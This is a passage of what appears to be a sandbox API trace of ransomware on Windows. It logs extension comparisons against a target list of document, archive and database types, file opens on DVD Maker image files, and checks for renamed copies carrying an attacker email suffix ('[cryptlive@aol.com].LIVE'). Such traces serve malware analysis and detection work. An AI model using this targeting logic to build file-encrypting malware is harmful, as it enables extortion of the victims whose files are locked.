(lpString=".ppt") returned 4 [0053.773] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.773] lstrlenW (lpString=".zip") returned 4 [0053.773] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.773] lstrlenW (lpString=".rar") returned 4 [0053.773] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.773] lstrlenW (lpString=".bz2") returned 4 [0053.773] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.773] lstrlenW (lpString=".7z") returned 3 [0053.773] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.773] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.774] lstrlenW (lpString=".dbf") returned 4 [0053.774] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.774] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.774] lstrlenW (lpString=".1cd") returned 4 [0053.774] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.774] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0053.774] lstrlenW (lpString=".jpg") returned 4 [0053.774] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.774] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.774] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23 [0053.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.775] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=30138) returned 1 [0053.775] CloseHandle (hObject=0x208) returned 1 [0053.775] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0053.775] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.775] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.775] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.775] lstrlenW (lpString=".doc") returned 4 [0053.775] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.775] lstrlenW (lpString=".docx") returned 5 [0053.775] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0053.775] lstrlenW (lpString=".pdf") returned 4 [0053.775] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.775] lstrlenW (lpString=".xls") returned 4 [0053.775] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.775] lstrlenW (lpString=".xlsx") returned 5 [0053.776] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0053.776] lstrlenW (lpString=".ppt") returned 4 [0053.776] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.776] lstrlenW (lpString=".zip") returned 4 [0053.776] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.776] lstrlenW (lpString=".rar") returned 4 [0053.776] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.776] lstrlenW (lpString=".bz2") returned 4 [0053.776] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.776] lstrlenW (lpString=".7z") returned 3 [0053.776] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.776] lstrlenW (lpString=".dbf") returned 4 [0053.776] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.776] lstrlenW (lpString=".1cd") returned 4 [0053.776] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.776] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.776] lstrlenW (lpString=".jpg") returned 4 [0053.776] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.777] lstrlenW (lpString=".doc") returned 4 [0053.777] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.777] lstrlenW (lpString=".docx") returned 5 [0053.777] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0053.777] lstrlenW (lpString=".pdf") returned 4 [0053.777] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.777] lstrlenW (lpString=".xls") returned 4 [0053.777] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.777] lstrlenW (lpString=".xlsx") returned 5 [0053.777] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0053.777] lstrlenW (lpString=".ppt") returned 4 [0053.777] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.777] lstrlenW (lpString=".zip") returned 4 [0053.777] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.777] lstrlenW (lpString=".rar") returned 4 [0053.777] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.777] lstrlenW (lpString=".bz2") returned 4 [0053.777] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.777] lstrlenW (lpString=".7z") returned 3 [0053.777] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.777] lstrlenW (lpString=".dbf") returned 4 [0053.777] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.777] lstrlenW (lpString=".1cd") returned 4 [0053.777] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.777] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned 67 [0053.777] lstrlenW (lpString=".jpg") returned 4 [0053.777] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.778] lstrcmpiW (lpString1=".bmp", lpString2=".LIVE") returned -1 [0053.778] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25 [0053.778] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.778] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=5072) returned 1 [0053.778] CloseHandle (hObject=0x208) returned 1 [0053.778] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0053.778] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.778] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.778] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.778] lstrlenW (lpString=".doc") returned 4 [0053.778] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0053.778] lstrlenW (lpString=".docx") returned 5 [0053.778] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0053.778] lstrlenW (lpString=".pdf") returned 4 [0053.778] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0053.778] lstrlenW (lpString=".xls") returned 4 [0053.778] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0053.778] lstrlenW (lpString=".xlsx") returned 5 [0053.779] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0053.779] lstrlenW (lpString=".ppt") returned 4 [0053.779] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.779] lstrlenW (lpString=".zip") returned 4 [0053.779] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString=".rar") returned 4 [0053.779] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString=".bz2") returned 4 [0053.779] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString=".7z") returned 3 [0053.779] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0053.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.779] lstrlenW (lpString=".dbf") returned 4 [0053.779] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.779] lstrlenW (lpString=".1cd") returned 4 [0053.779] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0053.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.779] lstrlenW (lpString=".jpg") returned 4 [0053.779] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.779] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.779] lstrlenW (lpString=".doc") returned 4 [0053.779] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString=".docx") returned 5 [0053.779] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0053.779] lstrlenW (lpString=".pdf") returned 4 [0053.779] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString=".xls") returned 4 [0053.779] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0053.779] lstrlenW (lpString=".xlsx") returned 5 [0053.779] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0053.779] lstrlenW (lpString=".ppt") returned 4 [0053.779] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0053.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.780] lstrlenW (lpString=".zip") returned 4 [0053.780] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0053.780] lstrlenW (lpString=".rar") returned 4 [0053.780] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0053.780] lstrlenW (lpString=".bz2") returned 4 [0053.780] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0053.780] lstrlenW (lpString=".7z") returned 3 [0053.780] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0053.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.780] lstrlenW (lpString=".dbf") returned 4 [0053.780] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0053.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.780] lstrlenW (lpString=".1cd") returned 4 [0053.780] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0053.780] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned 69 [0053.780] lstrlenW (lpString=".jpg") returned 4 [0053.780] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0053.780] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.780] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29 [0053.780] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.780] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4728) returned 1 [0053.780] CloseHandle (hObject=0x208) returned 1 [0053.781] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0053.781] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.781] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.781] lstrlenW (lpString=".doc") returned 4 [0053.781] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.781] lstrlenW (lpString=".docx") returned 5 [0053.781] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0053.781] lstrlenW (lpString=".pdf") returned 4 [0053.781] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.781] lstrlenW (lpString=".xls") returned 4 [0053.781] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.781] lstrlenW (lpString=".xlsx") returned 5 [0053.781] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0053.781] lstrlenW (lpString=".ppt") returned 4 [0053.781] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.781] lstrlenW (lpString=".zip") returned 4 [0053.781] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.781] lstrlenW (lpString=".rar") returned 4 [0053.781] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.781] lstrlenW (lpString=".bz2") returned 4 [0053.781] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.781] lstrlenW (lpString=".7z") returned 3 [0053.781] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.781] lstrlenW (lpString=".dbf") returned 4 [0053.781] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.781] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString=".1cd") returned 4 [0053.782] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString=".jpg") returned 4 [0053.782] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString=".doc") returned 4 [0053.782] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString=".docx") returned 5 [0053.782] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0053.782] lstrlenW (lpString=".pdf") returned 4 [0053.782] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString=".xls") returned 4 [0053.782] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.782] lstrlenW (lpString=".xlsx") returned 5 [0053.782] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0053.782] lstrlenW (lpString=".ppt") returned 4 [0053.782] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString=".zip") returned 4 [0053.782] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.782] lstrlenW (lpString=".rar") returned 4 [0053.782] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.782] lstrlenW (lpString=".bz2") returned 4 [0053.782] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString=".7z") returned 3 [0053.782] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString=".dbf") returned 4 [0053.782] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.782] lstrlenW (lpString=".1cd") returned 4 [0053.782] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.782] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned 73 [0053.783] lstrlenW (lpString=".jpg") returned 4 [0053.783] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.783] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.783] lstrlenW (lpString="Heart_VideoInset.png") returned 20 [0053.783] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.783] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=5742) returned 1 [0053.783] CloseHandle (hObject=0x208) returned 1 [0053.783] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png")) returned 0x20 [0053.783] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.783] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.783] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.783] lstrlenW (lpString=".doc") returned 4 [0053.783] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.783] lstrlenW (lpString=".docx") returned 5 [0053.783] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0053.783] lstrlenW (lpString=".pdf") returned 4 [0053.783] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.783] lstrlenW (lpString=".xls") returned 4 [0053.784] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.784] lstrlenW (lpString=".xlsx") returned 5 [0053.784] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0053.784] lstrlenW (lpString=".ppt") returned 4 [0053.784] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.784] lstrlenW (lpString=".zip") returned 4 [0053.784] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.784] lstrlenW (lpString=".rar") returned 4 [0053.784] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.784] lstrlenW (lpString=".bz2") returned 4 [0053.784] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.784] lstrlenW (lpString=".7z") returned 3 [0053.784] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.784] lstrlenW (lpString=".dbf") returned 4 [0053.784] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.784] lstrlenW (lpString=".1cd") returned 4 [0053.784] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.784] lstrlenW (lpString=".jpg") returned 4 [0053.784] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.784] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.784] lstrlenW (lpString=".doc") returned 4 [0053.784] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.784] lstrlenW (lpString=".docx") returned 5 [0053.784] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0053.784] lstrlenW (lpString=".pdf") returned 4 [0053.784] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.784] lstrlenW (lpString=".xls") returned 4 [0053.784] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.784] lstrlenW (lpString=".xlsx") returned 5 [0053.784] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0053.785] lstrlenW (lpString=".ppt") returned 4 [0053.785] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.785] lstrlenW (lpString=".zip") returned 4 [0053.785] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.785] lstrlenW (lpString=".rar") returned 4 [0053.785] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.785] lstrlenW (lpString=".bz2") returned 4 [0053.785] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.785] lstrlenW (lpString=".7z") returned 3 [0053.785] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.785] lstrlenW (lpString=".dbf") returned 4 [0053.785] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.785] lstrlenW (lpString=".1cd") returned 4 [0053.785] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.785] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png") returned 64 [0053.785] lstrlenW (lpString=".jpg") returned 4 [0053.785] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.785] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.785] lstrlenW (lpString="1047x576black.png") returned 17 [0053.785] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0053.786] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=4570) returned 1 [0053.786] CloseHandle (hObject=0x208) returned 1 [0053.786] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png")) returned 0x20 [0053.786] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.786] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd 